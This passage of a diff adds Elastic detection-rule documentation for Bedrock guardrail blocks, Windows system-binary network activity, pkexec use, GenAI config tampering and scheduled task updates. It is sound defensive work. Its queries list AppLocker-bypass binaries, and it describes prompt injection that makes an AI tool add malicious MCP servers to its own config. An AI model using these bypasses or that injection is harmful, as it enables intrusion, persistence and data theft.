b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-high-word-policy-blocks-detected.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-36-unusual-high-word-policy-blocks-detected]] +=== Unusual High Word Policy Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Word Policy Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "word filters" to prevent the model from generating content on profanity, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account whose prompts contained profanity and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multivalued policy names +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked profanity-related policy violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "word_policy" + +// keep relevant user field +| keep user.id + +// count blocked profanity attempts per user +| stats + Esql.ml_policy_blocked_profanity_count = count() + by user.id + +// Filter for excessive policy violations +| where Esql.ml_policy_blocked_profanity_count > 5 + +// sort by violation volume +| sort Esql.ml_policy_blocked_profanity_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-network-activity-from-a-windows-system-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-network-activity-from-a-windows-system-binary.asciidoc new file mode 100644 index 0000000000..0dcf0ca633 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-network-activity-from-a-windows-system-binary.asciidoc @@ -0,0 +1,259 @@ +[[prebuilt-rule-8-19-36-unusual-network-activity-from-a-windows-system-binary]] +=== Unusual Network Activity from a Windows System Binary + +Identifies network activity from unexpected system applications. This may indicate adversarial activity as these applications are often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 223 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Network Activity from a Windows System Binary* + + +Attackers can abuse certain trusted developer utilities to proxy the execution of malicious payloads. Since these utilities are usually signed, they can bypass the security controls that were put in place to prevent or detect direct execution. + +This rule identifies network connections established by trusted developer utilities, which can indicate abuse to execute payloads or process masquerading. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- As trusted developer utilities have dual-use purposes, alerts derived from this rule are not essentially malicious. If these utilities are contacting internal or known trusted domains, review their security and consider creating exceptions if the domain is safe. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and + + /* known applocker bypasses */ + (process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "control.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "installutil.exe" or + process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "MSBuild.exe" or + process.name : "msdt.exe" or + process.name : "mshta.exe" or + process.name : "wscript.exe" or + process.name : "msiexec.exe" or + process.name : "msxsl.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "regsvr32.exe" or + process.name : "xwizard.exe") and + + not (process.name : "mshta.exe" and + process.parent.executable : ("C:\\Program Files (x86)\\Bentley\\*.exe", + "C:\\Program Files\\Bentley\\*.exe", + "C:\\Program Files (x86)\\Amazon\\Amazon Assistant\\amazonAssistantService.exe", + "C:\\Users\\*\\AppData\\Local\\Temp\\TeamViewer\\TeamViewer.exe")) and + /* Domain logon and GPO scripts that routinely resolve internal hosts */ + not (process.name : "wscript.exe" and + process.parent.executable : ("C:\\Windows\\System32\\userinit.exe", + "C:\\Windows\\System32\\gpscript.exe") and + process.args_count == 2 and process.args : ("\\\\*\\NETLOGON\\*", "\\\\*\\SYSVOL\\*")) + ] + [network where dns.question.name != null and + not dns.question.name : ("localhost", "setup.officetimeline.com", "us.deployment.endpoint.ingress.rapid7.com", + "ctldl.windowsupdate.com", "crl?.digicert.com", "ocsp.digicert.com", "addon-cms-asl.eu.goskope.com", "crls.ssl.com", + "evcs-ocsp.ws.symantec.com", "s.symcd.com", "s?.symcb.com", "crl.verisign.com", "oneocsp.microsoft.com", "crl.verisign.com", + "aka.ms", "crl.comodoca.com", "acroipm2.adobe.com", "sv.symcd.com", "_ldap._tcp.*", "..localmachine", "secure.globalsign.com", + "acroipm2.adobe.com", "www.ssl.com", "ocsp.digicert.com", "ocsp.verisign.com", "ocsp.comodoca.com", "ocsp.entrust.net", "ocsp.usertrust.com", + "ocsp.godaddy.com", "ocsp.camerfirma.com", "ocsp.globalsign.com", "ocsp.sectigo.com", "*.local", + "www.microsoft.com", "crl.microsoft.com", "ocsps.ssl.com", "csc3-2010-crl.verisign.com", "csc3-2009-2-crl.verisign.com", + "subca.ocsp-certum.com", "evcs-crl.ws.symantec.com", "crl.sectigo.com", "ocsp2.globalsign.com", "s.symcb.com", + "wpad") and + + not (process.name : "mshta.exe" and + dns.question.name : ("client.teamviewer.com", "www.teamviewer.com", "images-na.ssl-images-amazon.com", "searcherbar.tilda.ws")) and + + not (process.name : "MSBuild.exe" and dns.question.name : ("api.nuget.org", "json.schemastore.org")) and + + /* host query itself */ + not startswith~(dns.question.name, host.name) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-pkexec-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-pkexec-execution.asciidoc new file mode 100644 index 0000000000..3bae4526eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-pkexec-execution.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-36-unusual-pkexec-execution]] +=== Unusual Pkexec Execution + +This rule detects the execution of the `pkexec` command by a shell process. The `pkexec` command is used to execute programs as another user, typically as the superuser. Through the `new_terms` rule type, unusual executions of `pkexec` are identified, and may indicate an attempt to escalate privileges or perform unauthorized actions on the system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Pkexec Execution* + + +`Pkexec` is a command-line utility in Linux environments that allows users to execute commands as another user, often with elevated privileges. Adversaries may exploit `pkexec` to escalate privileges or execute unauthorized actions by invoking it through shell processes. The detection rule identifies atypical `pkexec` executions initiated by common shell interpreters, flagging potential misuse by monitoring specific process attributes and execution patterns. + + +*Possible investigation steps* + + +- Review the process tree to understand the context of the pkexec execution, focusing on the parent process names such as bash, dash, sh, tcsh, csh, zsh, ksh, or fish, as these are indicative of shell-based invocations. +- Examine the command-line arguments passed to pkexec to determine the intended action and assess whether it aligns with expected administrative tasks or appears suspicious. +- Check the user account associated with the pkexec execution to verify if the account has legitimate reasons to perform such actions, and investigate any anomalies in user behavior or account activity. +- Investigate the timing and frequency of the pkexec executions to identify patterns or correlations with other suspicious activities or known attack timelines. +- Cross-reference the alert with other security logs and alerts from data sources like Elastic Endgame, Elastic Defend, Crowdstrike, or SentinelOne to gather additional context and corroborate findings. +- Assess the system's current state for signs of compromise, such as unauthorized changes, unexpected network connections, or the presence of known malicious files or processes. + + +*False positive analysis* + + +- Routine administrative tasks: System administrators may use pkexec for legitimate purposes, such as performing maintenance tasks. To handle this, create exceptions for known administrator accounts or specific maintenance scripts that regularly invoke pkexec. +- Automated scripts: Some automated scripts or cron jobs might use pkexec to perform scheduled tasks. Identify these scripts and exclude their specific process names or paths from the rule to prevent false alerts. +- Software updates: Certain software update processes might use pkexec to apply patches or updates. Monitor and document these processes, then configure exceptions for recognized update mechanisms. +- Development environments: Developers might use pkexec during testing or development. Establish a list of development machines or user accounts and exclude them from the rule to reduce noise. +- Custom user applications: Users may have custom applications that require pkexec for legitimate functionality. Review these applications and whitelist their specific execution patterns to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious `pkexec` processes identified by the alert to halt unauthorized actions or privilege escalation attempts. +- Review and analyze the parent shell process and its command history to understand the context and origin of the `pkexec` execution. +- Reset credentials and review permissions for the user accounts involved to mitigate any unauthorized access or privilege escalation. +- Conduct a thorough scan of the affected system for additional indicators of compromise or persistence mechanisms that may have been deployed. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar `pkexec` misuse attempts in the future, ensuring comprehensive coverage of shell processes and privilege escalation activities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(exec or exec_event or start or ProcessRollup2) and process.name:pkexec and +process.args:pkexec and process.parent.name:(bash or dash or sh or tcsh or csh or zsh or ksh or fish) and +not ( + process.args:( + "/usr/libexec/gvfsd-admin" or "udevadm" or "/opt/forticlient/stop-forticlient.sh" or "/usr/bin/gparted" or + "dpkg" or "/usr/sbin/gparted" or "input-remapper-control" or "/usr/lib/ubuntu-release-upgrader/do-partial-upgrade" + ) or + process.parent.command_line:*/home/*/.claude/shell-snapshots/* or + process.parent.args:"/usr/bin/timeshift-launcher" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-process-modifying-genai-configuration-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-process-modifying-genai-configuration-file.asciidoc new file mode 100644 index 0000000000..737f5b0125 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-process-modifying-genai-configuration-file.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-36-unusual-process-modifying-genai-configuration-file]] +=== Unusual Process Modifying GenAI Configuration File + +Detects unusual modification of GenAI tool configuration files. Adversaries may inject malicious MCP server configurations to hijack AI agents for persistence, C2, or data exfiltration. Attack vectors include malware or scripts directly poisoning config files, supply chain attacks via compromised dependencies, and prompt injection attacks that abuse the GenAI tool itself to modify its own configuration. Unauthorized MCP servers added to these configs execute arbitrary commands when the AI tool is next invoked. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://modelcontextprotocol.io/ +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: Windows +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0081 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Process Modifying GenAI Configuration File* + + +Configuration files for GenAI tools like Cursor, Claude, Copilot, and Ollama control which MCP servers, plugins, and extensions are loaded. Attackers target these files to inject malicious MCP servers that execute arbitrary commands, exfiltrate data, or establish persistence. Threats include external processes (malware, compromised scripts, supply chain attacks) directly modifying configs, as well as prompt injection attacks that abuse the AI tool's own file access capabilities. + + +*Possible investigation steps* + + +- Identify the process that modified the configuration file and determine if it's expected (GenAI tool, installer, user action) or suspicious (unknown script, malware). +- If the modifying process is NOT a GenAI tool, investigate its origin, parent process tree, and whether it was downloaded or executed from a suspicious location. +- If a GenAI tool made the modification, check recent user prompts or agent activity that may have triggered the config change via prompt injection. +- Review the contents of the modified configuration file for suspicious MCP server URLs, unauthorized plugins, or unusual agent permissions. +- Examine the process command line and parent process tree to identify how the modifying process was invoked. +- Check for other file modifications by the same process around the same time, particularly to other GenAI configs or startup scripts. +- Investigate whether the GenAI tool subsequently connected to unknown domains or spawned unusual child processes after the config change. + + +*False positive analysis* + + +- Novel but legitimate configuration changes will trigger this rule when the process hasn't been seen modifying these files within the configured history window. Review the modified file content to determine legitimacy. +- GenAI tool updates may modify config files in new ways; correlate with recent software updates. +- IDE extensions integrating with GenAI tools may modify configs as part of initial setup. +- Developer tools (git, go, npm) checking out or downloading projects containing `.gemini/` or `.claude/` directories may trigger alerts. These are project-level configs, not user configs - verify by checking if the path is within a project directory. + + +*Response and remediation* + + +- Review the modified configuration file and revert any unauthorized changes to MCP servers, plugins, or agent settings. +- If malicious MCP servers were added, block the associated domains at the network level. +- Review and rotate any API keys or credentials that may have been exposed through the compromised GenAI configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "file" and event.action : ("modification" or "overwrite") and +file.path : ( + */.cursor/mcp.json or */.cursor/settings.json or */AppData/Roaming/Cursor/*mcp* or + */.claude/* or */claude_desktop_config.json or */AppData/Roaming/Claude/* or + */.config/github-copilot/* or */AppData/Local/GitHub?Copilot/* or + */.ollama/config* or */AppData/Local/Ollama/* or + */.codex/* or */AppData/Roaming/Codex/* or + */.gemini/* or */AppData/Roaming/gemini-cli/* or + */.grok/* or */AppData/Roaming/Grok/* or + */.windsurf/* or */AppData/Roaming/Windsurf/* or + */.vscode/extensions/*mcp* or + */.openclaw/* or */AppData/Roaming/OpenClaw/* or + */.moltbot/* or */AppData/Roaming/Moltbot/* or + */.config/openclaw/* +) and not ( + file.extension : (lck or lock or log or png or marker or shm or wal or sqlite or sqlite-shm or sqlite-wal or jsonl or journal or xcuserstate) or + file.name : ( + .DS_Store or .last-cleanup or mcp-needs-auth-cache.json or policy-limits.json or + .claude.json.backup* or + *.tmp* + ) or + file.path : ( + */.claude/cache/* or + */.claude/statsig/* or + */.claude/sessions/* or + */.claude/shell-snapshots/* or + */.claude/plugins/* or + */.claude/worktrees/* or + */.gemini/antigravity-browser-profile/* or + */.gemini/tmp/* or + */.codex/.tmp/* or + */.codex/tmp/* or + */.codex/log/* or + */.codex/sessions/* or + */.cursor/extensions/* or + */.vscode/extensions/* or + */.vscode-oss/extensions/* or + */opt/homebrew/.claude/* or + */opt/homebrew/.cursor/* or + */opt/homebrew/.codex/* or + */node_modules/* or + */cargo/registry/* or + */go/pkg/mod/* + ) or + ( + file.path : (*/.codex/* or */.claude/* or */.gemini/*) and + file.extension : sqlite + ) or + ( + file.path : */.config/github-copilot/* and + file.name : (apps.json or versions.json or copilot*nitrite.db) + ) or + process.name : build-script-build or + ( + file.path : (*/.codex/.tmp/* or */.claude/plugins/* or */.claude/worktrees/* or */node_modules/* or */cargo/registry/* or */go/pkg/mod/*) and + file.extension : (h or out or part or rs or toml) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-scheduled-task-update.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-scheduled-task-update.asciidoc new file mode 100644 index 0000000000..a68ca5e9b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-unusual-scheduled-task-update.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-36-unusual-scheduled-task-update]] +=== Unusual Scheduled Task Update + +Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4702 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Scheduled Task Update* + + +Scheduled tasks in Windows environments automate routine tasks, but adversaries can exploit them for persistence by modifying tasks to execute malicious code. The detection rule identifies first-time task modifications by non-system users, flagging potential unauthorized changes. By excluding known system accounts, it focuses on suspicious user activity, aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the event logs for event code 4702 to identify the specific scheduled task that was modified and the user account responsible for the change. +- Investigate the user account involved in the modification to determine if it is a legitimate user or potentially compromised. Check for any recent unusual activity associated with this account. +- Examine the details of the modified scheduled task, including the command or script it is set to execute, to assess if it is potentially malicious or unauthorized. +- Cross-reference the scheduled task's modification time with other security events or logs to identify any correlated suspicious activities or anomalies. +- Check the history of the scheduled task to determine if this is the first modification or if there have been previous 